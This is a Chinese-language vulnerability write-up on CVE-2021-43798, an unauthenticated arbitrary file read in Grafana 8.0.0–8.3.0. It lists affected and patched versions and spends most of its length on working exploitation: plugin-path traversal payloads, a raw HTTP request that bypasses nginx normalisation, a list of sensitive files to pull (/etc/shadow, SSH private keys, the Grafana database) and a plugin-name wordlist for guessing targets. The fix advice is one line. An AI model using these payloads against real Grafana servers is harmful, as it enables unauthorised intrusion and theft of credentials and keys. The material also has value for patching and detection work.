0x00 概述
Grafana是一个完全开源的度量分析与可视化平台,可对来自各种各种数据源的数据进行查询、分析、可视化处理以及配置告警。
Grafana的读取文件接口存在未授权,且未对文件地址进行过滤,导致可以目录穿越/../../../../../../../../../os filepath实现系统任意文件读取。
0x01 漏洞影响范围
Grafana 8.0.0 - 8.3.0
安全版本
Grafana >= 8.3.1
Grafana >= 8.2.7
Grafana >= 8.1.8
Grafana >= 8.0.7
0x02 漏洞复现
plugins的控制器就存在问题,只要插件存在,便会加载后面路径的文件,并且可以通过../../跨目录。此漏洞是只要装了插件,且黑客能猜到插件名称就能利用:
/public/plugins/cloudwatch/../../../../../../../../var/lib/grafana/grafana.db也可以读db文件。
/public/plugins/cloudwatch/../../../../../../../../etc/grafana/grafana.ini
0x03 绕过Nginx 400
目前已经部署的Grafana会有很多被nginx/apache等中间件反向代理的情况,有的中间件的URI_normalization机制导致URL被标准化。
在一些nginx反代环境中仍可绕过,例如:
# proxy_grafana.conf
server {
listen 8081;
server_name 127.0.0.1;
charset utf-8;
location / {
proxy_pass http://192.168.1.100:3000;
}
}
# BurpSuite
GET /public/plugins/text/#/../../../../../../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: CVE-2021-43798
Connection: close
Upgrade-Insecure-Requests: 1
即可绕过。
0x04 其他重要文件
/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline
0x05 其他常见插件列表
text
alertmanager
grafana
loki
postgres
grafana-azure-monitor-datasource
mixed
prometheus
cloudwatch
graphite
mssql
tempo
dashboard
influxdb
mysql
testdata
elasticsearch
jaeger
opentsdb
zipkin
alertGroups
bargauge
debug
graph
live
piechart
status-history
timeseries
alertlist
candlestick
gauge
heatmap
logs
pluginlist
table
welcome
annolist
canvas
geomap
histogram
news
stat
table-old
xychart
barchart
dashlist
gettingstarted
icon
nodeGraph
state-timeline
0x06 修复建议
请尽快升级。
长按下方图片关注我们: